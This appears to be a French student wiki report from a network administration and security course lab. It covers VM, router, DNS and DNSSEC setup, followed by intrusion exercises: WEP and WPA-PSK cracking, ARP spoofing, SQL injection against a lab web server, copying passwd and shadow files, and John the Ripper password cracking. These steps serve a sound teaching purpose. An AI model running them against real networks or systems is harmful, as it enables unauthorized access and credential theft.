mkfs.ext4 /dev/storage/trompettedelamort2

* Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']
et on indique quel disque utiliser:
disk = [
'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
'phy:/dev/storage/trompettedelamort1,xvda3,w',
'phy:/dev/storage/trompettedelamort2,xvda4,w'
]

* Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

Ensuite, sur la MV:

* Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4
# /home est vide donc rien a déplacer

puis on démonte:
umount /mnt/xvda3
umount /mnt/xvda4

* Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

et on applique les modification du fichier fstab:
mount -a

=3 Architecture réseau=

==3.1 L’architecture générale (12/10/2020)==

La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.

==3.2 Les réseaux virtuels (12/10/2020)==

On créer deux VLAN:
* VLAN131 pour se connecter au routeur de l'école
* VLAN333 pour accéder aux machines virtuelles sur Capbreton

Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances

==3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)==

Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :
* 1 adresse pour le réseau
* 1 adresse de Broadcast
* 1 adresse pour le routeur 1 (6509-E)
* 1 adresse pour le routeur 2 (9200)
* 1 adresse flottante pour les routeurs (redondance)
Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible

L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28
Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.

===OSPF===
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école

'''6509-E'''

ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur

router ospf 1 # un numéro de processus
router-id 10.60.0.101 # un id pour le routeur (plus petite adresse disponible)
log-adjacency-changes
summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)
summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?)
redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés
redistribute static subnets
network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école
ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route

'''9200'''
On fait la meme chose en changeant le router-id : 10.60.0.102

===NAT===
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188
Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131
ip nat outside
exit
int vlan 333
ip nat inside
exit

===Problème association OSPF et NAT===
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.

Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT).
La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E :
boot
enable
conf t
int vlan 333
no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée
ip address 100.64.0.1 255.255.255.0
exit
exit
write

on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5:
router ospf 1
router-id 10.60.100.1

Enfin, on ajoute la route vers notre MV à la main:

ip route 193.48.57.188 255.255.255.255 100.64.0.28

Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante).

Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.

==3.6 Interconnexion avec Internet (IPv6)(02/11/2020)==
Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6

On crée le VLAN301 pour notre domaine:

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference High #car routeur principale

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference Low

Annonce de route avec RIP fait par groupe 14

==3.7 Sécurisation du réseau (02/11/2020)==
En partenariat avec le groupe 14.
Attention la syntaxe est différente entre le 9200 et le 6509-E
On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301.
'''6509-E'''
conf t
int vlan 333
vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333
vrrp 33 preemt # priorité au routeur qui a une priorité supérieur
vrrp 33 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333
vrrp 31 preemt # priorité au routeur qui a une priorité supérieur
vrrp 31 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan
vrrp 41 preemt
vrrp 41 priority 110
exit
exit
write

'''9200'''
conf t
int vlan 333
vrrp 33 address-family ipv4
priority 100
address 100.64.0.254
preemt
exit
int vlan 1
vrrp 31 address-family ipv4
priority 100
address 10.60.100.254
preemt
exit
int vlan 301
vrrp 41 address-family ipv4
priority 100
address 10.60.101.254
preemt
exit
exit
write

==3.8 Interconnexion Internet de secours (IPv4) (16/11/2020)==
(En collaboration avec le groupe 14)

On connecte physiquement l'ISR au SDSL: Dans le local technique SR52, on repere sur quel port est branché le l'ÍSR pour le mettre dans le VLAN 531
conf t
int Gi0/37
switchport mode access
switchport access vlan 531
exit
exit
write

Sur l'ISR:
* On creer le vlan 531:
conf t
vlan 531

==3.9 Interconnexion Internet de secours (IPv6) (pas encore fait)==

=4 Services Internet=

==Connexion a internet (02/11/2020)==

Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.188
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.28/24
up ip route add default via 100.64.0.2 src 193.48.57.188
down ip address del dev eth0 100.64.0.28/24
down ip route del default via 100.64.0.2 src 193.48.57.188

L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.

Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28

Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.

==4.1 Serveur SSH (02/11/2020)==
Le service SSH était activé par defaut.
Il faut juste autoriser la connexion en root dans le fichier /etc/ssh/sshd_config
PermitRootLogin yes

puis systemctl restart sshd

et on peut se connecter a notre vm
ssh root@193.48.57.188

==4.2 Serveur DNS (02/11/2020)==

Pour commencer dans le fichier de configuration /etc/resolv.conf nous avons mis comme adresse de serveur de nom
127.0.0.1

Dans named.conf.local, en suivant le cours nous avons modifié et/ou ajouté:
options{
directory "/var/cache/bind";
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32 ;

};

Ensuite avec bind9 nous avons pu configurer notre serveur de nom.
Dans le fichier /etc/bind/named.conf.local nous avons défini notre zone "trompettedelamort.site":
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site";
allow-transfer { 217.70.177.40;};
};

Puis nous avons configuré le fichier db.trompettedelamort.site. Pour se faire nous avons pris le fichier par defaut db.local que nous avons copié puis modifié:
zone "trompettedelamort.site" IN {
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamoo
rt.site(
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.188

Enfin sur gandi.net nous avons crée un glue record dans lequel nous avons mis l'adresse ip de notre machine virtuelle puis nous avons ajouté dans Nameservers.
ns6.gandi.net possedant déjà son glue record, nous avons simplement ajouté ce dernier dans Nameservers.

==4.3 Sécurisation de site web par certificat (pas encore fait)==

==4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020)==

La configuration a été réalisé en suivant les instructions dans le sujet de TP rubrique : 4.4 Sécurisation de serveur DNS par DNSSEC

Premièrement nous avons modifié le ficher named.conf.options pour y ajouter l'options suivantes:
dnssec-enable yes

Nous avons ensuite crée un repertoir trompettedelamort.dnssec afin d'y générer les clefs. Nous devons générer une paire de clef KSK et une paire de clef ZSK.

Pour créer la paire de clef KSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE trompettedelamort.site

Et pour la paire de clef ZSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE trompettedelamort.site

Nous renommons ces paires avec comme prefixe trompettedelamort.site et comme suffice -zsk pour la paire zsk et -ksk pour la paire ksk et nous terminon avec .key pour les clefs publiques et .private pour les clefs privées.

Ensuite dans notre fichier zone db.trompettedelamort.site nous ajoutons les lignes suivantes sans oublier d'incrémenter le Serial:
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-ksk.key
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-zsk.key

Le fichier db.trompettedelamort.site ressemble donc à cela:
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamort.site.(

8 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
@ IN MX 100 ns1.trompettedelamort.site.
ns1 IN A 193.48.57.188
www IN A 193.48.57.188
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-zsk.key

Nous signons ensuite les enregristrement de la zone avec la commande suivante:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk
Ce qui a pour effet de générer un fichier zone "db.trompettedelamort.site.signed"

Nous n'avons donc plus qu'a remplacer db.trompettedelamort.site par db.trompettedelamort.site.signed dans le fichier named.conf.local:
root@trompettedelamort:~# cat /etc/bind/named.conf.local
//
// Do any local configuration here

zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site.signed";
allow-transfer { 217.70.177.40;};
};
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

Pour finir il ne reste plus qu'a fournir la clef publique de la clef KSK à gandi.net. Pour se faire il faut se rendre dans "DNSSEC" puis dans "Add an external key", choisir KSK et "RSA/SHA-1" et renseigner la clef se trouvant dans
/etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key

On vérifie avec la commande suivante:
dnssec-verify -o trompettedelamort.site db.trompettedelamort.site.signed

Qui nous renvoie ce résultat:
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.trompettedelamort.site.signed

=Tests d’intrusion=

==5.1 Exploitation de failles du système (en cours)==

==5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)==

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap

==5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)==

On commence par mettre l'interface WiFi en mode monitor:
airmon-ng start maCarte

Ensuite on lance une écoute généralisée des trames WiFi qui circulent:
airodump-ng maCarte

A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03.

Puis pour cibler la recherche on lance la commande suivante:
airodump-ng -c 3 --bssid MACPA -w psk maCarte

A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA).

Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK:
aircrack-ng -w dictionnaire -b MACPA psk*.cap

Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale.
Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante:
crunch 8 8 0123456789 -o dictionnaire

Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.

==5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)==

N'ayant pas accès au eeePC (COVID19) on a créé deux machines virtuelles sur note machine personnelle pour simuler l'environement de TP.

[[Fichier:ARP1.png|1000px]]

On transforme la machine '''attacker''' en routeur:
attacker@attacker:~/ sysctl -w net.ipv4.ip_forward=1

Puis on lance l'empoisonnement du cache ARP de la victime:
attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 192.168.1.254

On peut vérifier que l'attaque a bien fonctionné en observant la table ARP de la victime:
victime@victime:~/ /arp
bbox.lan (192.168.1.254) at 08:00:27:34:f9:27
...
attacker (192.168.1.44) at 08:00:27:34:f9:27
L'adresse MAC de la passerelle par défaut (ma box internet dans ce cas) est la même que celle de la machine '''attacker'''

Lorsque la machine veut communiquer avec l'extérieur, elle passe donc automatiquement par la machine '''attacker''':
victime@victime:~/ traceroute 8.8.8.8
1 attacker (192.168.1.44) 0.456 ms 0.552 ms 0.537 ms
2 bbox.lan (192.168.1.254) 5.071 ms 5.053 ms 4.965 ms
...
9 dns.google (8.8.8.8) 13.306 ms 12.759 ms 12.551 ms

On lance wireshark sur '''attacker''' et on se connecte a un site http quelconque sur ''''victime'''. On peut voir transiter en claire les identifiants et mot de passes utilisés pour se connecter au site.

[[Fichier:ARP2.png|1000px]]

Même chose avec un logiciel de conversation instantanée non chiffré.

==5.5 Intrusion sur un serveur d’application Web (04/11/2020)==
===Injection SQL===
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure:
' OR 1 = 1 --
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin'''

===Base de donnée===
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD
http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.

Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''')

===connexion au serveur===
On peut verifier que le serveur est bien accéssible a distance avec:
nmap -6 honey.plil.info
qui nous renseigne que les services http et ssh sont accéssible sur la machine.

On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée.

On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère:
scp /etc/passwd pifou@zabethXX:~/intrusion/passwd
scp /etc/shadow pifou@zabethXX:~/intrusion/shadow

===Cassage du mot de passe root===
Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper'''.
La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.
unshadow ./passwd ./shadow | grep root > pass
On enregistre la clé de l'utilisateur '''root''' dans un fichier '''pass'''.

Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé.
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
sed -i 's/$.*$/\1\1/' dico

puis on lance le cassage:
/usr/sbin/john -w:dico pass

apres quelques minutes, le mot de passe est diponible en clair:
/usr/sbin/john --show pass

=Réalisations=

===6.1 Sécurisation de données===

===6.2 Chiffrement de données===

===6.3 Inspection ARP par un élément réseau===

===6.4 Sécurisation WiFi par WPA2-EAP===

TP sysres IMA5sc 2020/2021 G1

2020-11-16T22:49:24Z

Egury : /* 4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020) */

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales
----------------------
{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 1
| trompettedelamort.site
| Debian 10 Buster
| 301
| 100.64.0.28
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.188
|}

=2 Installation des systèmes d’exploitation (12/10/2020)=

ssh capbreton.plil.info
xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster

* Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

Sur Capbreton:

** On réquisitionne les deux disques de 2,7To que l'on met dans un groupe

pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf

** On créer 2 partitions de 10Go pour chaque binôme:

lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage
...meme chose pour chaque groupe...

** On formate nos partitions:

mkfs.ext4 /dev/storage/trompettedelamort1
mkfs.ext4 /dev/storage/trompettedelamort2

* Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']
et on indique quel disque utiliser:
disk = [
'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
'phy:/dev/storage/trompettedelamort1,xvda3,w',
'phy:/dev/storage/trompettedelamort2,xvda4,w'
]

* Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

Ensuite, sur la MV:

* Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4
# /home est vide donc rien a déplacer

puis on démonte:
umount /mnt/xvda3
umount /mnt/xvda4

* Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

et on applique les modification du fichier fstab:
mount -a

=3 Architecture réseau=

==3.1 L’architecture générale (12/10/2020)==

La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.

==3.2 Les réseaux virtuels (12/10/2020)==

On créer deux VLAN:
* VLAN131 pour se connecter au routeur de l'école
* VLAN333 pour accéder aux machines virtuelles sur Capbreton

Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances

==3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)==

Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :
* 1 adresse pour le réseau
* 1 adresse de Broadcast
* 1 adresse pour le routeur 1 (6509-E)
* 1 adresse pour le routeur 2 (9200)
* 1 adresse flottante pour les routeurs (redondance)
Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible

L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28
Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.

===OSPF===
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école

'''6509-E'''

ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur

router ospf 1 # un numéro de processus
router-id 10.60.0.101 # un id pour le routeur (plus petite adresse disponible)
log-adjacency-changes
summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)
summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?)
redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés
redistribute static subnets
network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école
ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route

'''9200'''
On fait la meme chose en changeant le router-id : 10.60.0.102

===NAT===
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188
Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131
ip nat outside
exit
int vlan 333
ip nat inside
exit

===Problème association OSPF et NAT===
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.

Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT).
La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E :
boot
enable
conf t
int vlan 333
no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée
ip address 100.64.0.1 255.255.255.0
exit
exit
write

on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5:
router ospf 1
router-id 10.60.100.1

Enfin, on ajoute la route vers notre MV à la main:

ip route 193.48.57.188 255.255.255.255 100.64.0.28

Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante).

Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.

==3.6 Interconnexion avec Internet (IPv6)(02/11/2020)==
Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6

On crée le VLAN301 pour notre domaine:

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference High #car routeur principale

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference Low

Annonce de route avec RIP fait par groupe 14

==3.7 Sécurisation du réseau (02/11/2020)==
En partenariat avec le groupe 14.
Attention la syntaxe est différente entre le 9200 et le 6509-E
On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301.
'''6509-E'''
conf t
int vlan 333
vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333
vrrp 33 preemt # priorité au routeur qui a une priorité supérieur
vrrp 33 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333
vrrp 31 preemt # priorité au routeur qui a une priorité supérieur
vrrp 31 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan
vrrp 41 preemt
vrrp 41 priority 110
exit
exit
write

'''9200'''
conf t
int vlan 333
vrrp 33 address-family ipv4
priority 100
address 100.64.0.254
preemt
exit
int vlan 1
vrrp 31 address-family ipv4
priority 100
address 10.60.100.254
preemt
exit
int vlan 301
vrrp 41 address-family ipv4
priority 100
address 10.60.101.254
preemt
exit
exit
write

==3.8 Interconnexion Internet de secours (IPv4) (16/11/2020)==
(En collaboration avec le groupe 14)

On connecte physiquement l'ISR au SDSL: Dans le local technique SR52, on repere sur quel port est branché le l'ÍSR pour le mettre dans le VLAN 531
conf t
int Gi0/37
switchport mode access
switchport access vlan 531
exit
exit
write

Sur l'ISR:
* On creer le vlan 531:
conf t
vlan 531

==3.9 Interconnexion Internet de secours (IPv6) (pas encore fait)==

=4 Services Internet=

==Connexion a internet (02/11/2020)==

Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.188
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.28/24
up ip route add default via 100.64.0.2 src 193.48.57.188
down ip address del dev eth0 100.64.0.28/24
down ip route del default via 100.64.0.2 src 193.48.57.188

L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.

Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28

Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.

==4.1 Serveur SSH (02/11/2020)==
Le service SSH était activé par defaut.
